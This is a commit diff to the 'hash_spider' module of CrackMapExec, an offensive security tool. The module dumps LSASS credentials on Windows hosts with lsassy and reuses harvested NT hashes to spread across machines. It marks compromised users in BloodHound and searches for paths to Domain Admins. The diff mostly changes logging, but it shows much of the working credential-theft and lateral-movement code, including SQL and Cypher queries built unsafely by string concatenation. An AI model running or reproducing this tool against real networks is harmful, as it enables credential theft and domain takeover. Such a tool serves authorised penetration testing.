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fix(hash_spider): update logging methods and update output DB file name

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Marshall Hallenbeck 2023-04-04 23:16:54 -04:00
parent 1bc4150ea1
commit c7cc04e546
1 changed files with 52 additions and 41 deletions
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93
cme/modules/hash_spider.py
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@ -1,9 +1,6 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Author:
# Peter Gormington @hackerm00n on Twitter
# Author: Peter Gormington (@hackerm00n on Twitter)
import logging
from sqlite3 import connect
from sys import exit
@ -22,21 +19,21 @@ reported_da = []
def neo4j_conn(context, connection, driver):
if connection.config.get('BloodHound', 'bh_enabled') != "False":
context.log.info("Connecting to Neo4j/Bloodhound.")
context.log.display("Connecting to Neo4j/Bloodhound.")
try:
session = driver.session()
list(session.run("MATCH (g:Group) return g LIMIT 1"))
context.log.info("Connection Successful!")
context.log.display("Connection Successful!")
except AuthError as e:
context.log.error("Invalid credentials.")
context.log.fail("Invalid credentials")
except ServiceUnavailable as e:
context.log.error("Could not connect to neo4j database.")
context.log.fail("Could not connect to neo4j database")
except Exception as e:
context.log.error("Error querying domain admins")
print(e)
context.log.fail("Error querying domain admins")
context.log.debug(e)
else:
context.log.highlight("BloodHound not marked enabled. Check cme.conf")
exit()
exit(1)
def neo4j_local_admins(context, driver):
@ -45,9 +42,9 @@ def neo4j_local_admins(context, driver):
session = driver.session()
admins = session.run(
"MATCH (c:Computer) OPTIONAL MATCH (u1:User)-[:AdminTo]->(c) OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WITH COLLECT(u1) + COLLECT(u2) AS TempVar,c UNWIND TempVar AS Admins RETURN c.name AS COMPUTER, COUNT(DISTINCT(Admins)) AS ADMIN_COUNT,COLLECT(DISTINCT(Admins.name)) AS USERS ORDER BY ADMIN_COUNT DESC") # This query pulls all PCs and their local admins from Bloodhound. Based on: https://github.com/xenoscr/Useful-BloodHound-Queries/blob/master/List-Queries.md and other similar posts
context.log.info("Admins and PCs obtained.")
context.log.success("Admins and PCs obtained.")
except Exception:
context.log.error("Could not pull admins.")
context.log.fail("Could not pull admins")
exit()
admin_results = [record for record in admins.data()]
@ -84,24 +81,25 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
context.log.highlight(
f"Found a cleartext password for: {username}:{password}. Adding to the DB and marking user as owned in BH.")
cursor.execute("UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'", [password])
username = (f"{username.upper()}@{context.log.extra['host'].upper()}")
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
dbconnection.commit()
session = driver.session()
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
if nthash == 'aad3b435b51404eeaad3b435b51404ee' or nthash == '31d6cfe0d16ae931b73c59d7e0c089c0':
context.log.error(f"Hash for {username} is expired.")
context.log.fail(f"Hash for {username} is expired.")
elif username not in found_users and nthash is not None:
context.log.highlight(
f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH.")
found_users.append(username)
cursor.execute("UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'", [nthash])
dbconnection.commit()
username = (f"{username.upper()}@{context.log.extra['host'].upper()}")
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
session = driver.session()
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
path_to_da = session.run(
"MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
paths = [record for record in path_to_da.data()]
for path in paths:
if path:
for key, value in path.items():
@ -122,12 +120,19 @@ def initial_run(connection, cursor):
class CMEModule:
name = 'hash_spider'
name = "hash_spider"
description = "Dump lsass recursively from a given hash using BH to find local admins"
supported_protocols = ['smb']
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.reset = None
self.reset_dumped = None
self.method = None
def options(self, context, module_options):
"""
METHOD Method to use to dump lsass.exe with lsassy
@ -140,9 +145,9 @@ class CMEModule:
self.reset_dumped = module_options.get('RESET_DUMPED', False)
self.reset = module_options.get('RESET', False)
def run_lsassy(self, context, connection): # copied and pasted from lsassy_dumper
def run_lsassy(self, context, connection, cursor): # copied and pasted from lsassy_dumper & added cursor
# lsassy uses a custom "success" level, which requires initializing its logger or an error will be thrown
# lsassy also removes all other handlers and overwrites the formatter which is terrible
# lsassy also removes all other handlers and overwrites the formatter which is bad (we want ours)
# so what we do is define "success" as a logging level, then do nothing with the output
logging.addLevelName(25, 'SUCCESS')
setattr(logging, 'success', lambda message, *args: ())
@ -165,16 +170,16 @@ class CMEModule:
domain=domain_name
)
if session.smb_session is None:
context.log.error("Couldn't connect to remote host. Password likely expired/changed. Removing from DB.")
cursor.execute("UPDATE admin_users SET hash = NULL WHERE username LIKE '" + username + "'")
context.log.fail("Couldn't connect to remote host. Password likely expired/changed. Removing from DB.")
cursor.execute(f"UPDATE admin_users SET hash = NULL WHERE username LIKE '{username}'")
return False
dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method)
if dumper is None:
context.log.error("Unable to load dump method '{}'".format(self.method))
context.log.fail("Unable to load dump method '{}'".format(self.method))
return False
file = dumper.dump()
if file is None:
context.log.error("Unable to dump lsass")
context.log.fail("Unable to dump lsass")
return False
credentials, tickets, masterkeys = Parser(file).parse()
file.close()
@ -203,61 +208,67 @@ class CMEModule:
cursor.execute(f"SELECT * FROM pc_and_admins WHERE pc_name = '{pc[0]}' AND dumped NOT LIKE 'TRUE'")
more_to_dump = cursor.fetchall()
if len(more_to_dump) > 0:
context.log.info(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.")
context.log.display(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.")
connection.domain = user[0].split('@')[1]
setattr(connection, "host", pc[0].split('.')[0])
setattr(connection, "username", user[0].split('@')[0])
setattr(connection, "nthash", user[1])
setattr(connection, "nthash", user[1])
try:
self.run_lsassy(context, connection)
self.run_lsassy(context, connection, cursor)
cursor.execute(
"UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'")
process_creds(context, connection, credentials_data, dbconnection, cursor, driver)
self.spider_pcs(context, connection, cursor, dbconnection, driver)
except Exception:
context.log.error(f"Failed to dump lsassy on {pc[0]}")
context.log.fail(f"Failed to dump lsassy on {pc[0]}")
if len(admin_access) > 0:
context.log.error(
context.log.fail(
"No more local admin access known. Please try re-running Bloodhound with newly found accounts.")
exit()
def on_admin_login(self, context, connection):
db_path = connection.config.get('CME', 'workspace')
dbconnection = connect(db_path, check_same_thread=False,
isolation_level=None) # Sqlite DB will be saved at ./CrackMapExec/default if name in cme.conf is default
# DB will be saved at ./CrackMapExec/hash_spider_default.sqlite3 if workspace in cme.conf is "default"
db_name = f"hash_spider_{db_path}.sqlite3"
dbconnection = connect(
db_name,
check_same_thread=False,
isolation_level=None
)
cursor = dbconnection.cursor()
if self.reset != False:
if self.reset:
try:
cursor.execute("DROP TABLE IF EXISTS admin_users;")
cursor.execute("DROP TABLE IF EXISTS pc_and_admins;")
context.log.info("Database reseted")
context.log.display("Database reset")
exit()
except Exception as e:
context.log.error("Database reset error", str(e))
exit
context.log.fail("Database reset error", str(e))
exit()
if self.reset_dumped:
try:
cursor.execute("UPDATE pc_and_admins SET dumped = 'False'")
context.log.info("PCs can be dumped again.")
context.log.display("PCs can be dumped again.")
except Exception as e:
context.log.error("Database update error", str(e))
exit
context.log.fail("Database update error", str(e))
exit()
neo4j_user = connection.config.get('BloodHound', 'bh_user')
neo4j_pass = connection.config.get('BloodHound', 'bh_pass')
neo4j_uri = connection.config.get('BloodHound', 'bh_uri')
neo4j_port = connection.config.get('BloodHound', 'bh_port')
neo4j_db = "bolt://" + neo4j_uri + ":" + neo4j_port
neo4j_db = f"bolt://{neo4j_uri}:{neo4j_port}"
driver = GraphDatabase.driver(neo4j_db, auth=basic_auth(neo4j_user, neo4j_pass), encrypted=False)
neo4j_conn(context, connection, driver)
neo4j_local_admins(context, driver)
create_db(admin_results, dbconnection, cursor)
initial_run(connection, cursor)
context.log.info("Running lsassy.")
self.run_lsassy(context, connection)
context.log.display("Running lsassy")
self.run_lsassy(context, connection, cursor)
process_creds(context, connection, credentials_data, dbconnection, cursor, driver)
context.log.info("🕷️ Starting to spider. 🕷️")
context.log.display("🕷️ Starting to spider 🕷️")
self.spider_pcs(context, connection, cursor, dbconnection, driver)